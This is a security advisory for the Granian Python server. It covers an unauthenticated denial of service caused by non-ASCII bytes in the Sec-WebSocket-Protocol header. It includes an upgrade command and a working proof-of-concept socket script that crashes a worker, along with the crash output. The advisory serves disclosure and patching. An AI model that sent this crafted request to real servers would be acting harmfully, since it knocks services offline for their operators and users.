PYSEC-2026-2503
Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic
Quick fix
PYSEC-2026-2503 — granian: upgrade to the fixed version with the command below.
pip install --upgrade 'granian>=2.7.4'Details
### Summary
Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose `Sec-WebSocket-Protocol` header contains non-ASCII bytes.
The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.
This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.
### Details
https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125
`HeaderValue::to_str()` returns `Err` for bytes outside visible ASCII. The subsequent `.unwrap()` panics.
In release builds Granian sets `panic = "abort"`, so this panic terminates the worker instead of being handled as a normal request error.
### PoC
#### Step 1. starts a Granian ASGI server
```python # app.py async def app(scope, receive, send): if scope["type"] == "websocket": await receive() await send({"type": "websocket.accept"}) return
await send({"type": "http.response.start", "status": 200, "headers": []}) await send({"type": "http.response.body", "body": b"ok"}) ```
```bash granian --interface asgi app:app --host 127.0.0.1 --port 8000 ```
#### Step 2. sending a raw upgrade request with `Sec-WebSocket-Protocol: \x80\xff` reached this code path and caused the worker to abort.
```python # ws-subproto-crash.py import base64, os, socket, sys
host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3] key = base64.b64encode(os.urandom(16)).decode()
req = ( f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n" "Upgrade: websocket\r\nConnection: Upgrade\r\n" f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n" ).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"
with socket.create_connection((host, port), timeout=5) as s: s.sendall(req) print(s.recv(4096)) ``` ```bash python ws-subproto-crash.py 127.0.0.1 8000 / ```
Observed server output:
``` thread '<unnamed>' panicked at src/asgi/utils.rs:125:44: called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () } [ERROR] Unexpected exit from worker-1 [INFO] Shutting down granian ```
### Impact
- Unauthenticated remote denial of service - One crafted request kills one worker - The application is never reached, so application-level authentication or routing does not mitigate the issue
Are you affected?
Enter the version of the package you're using.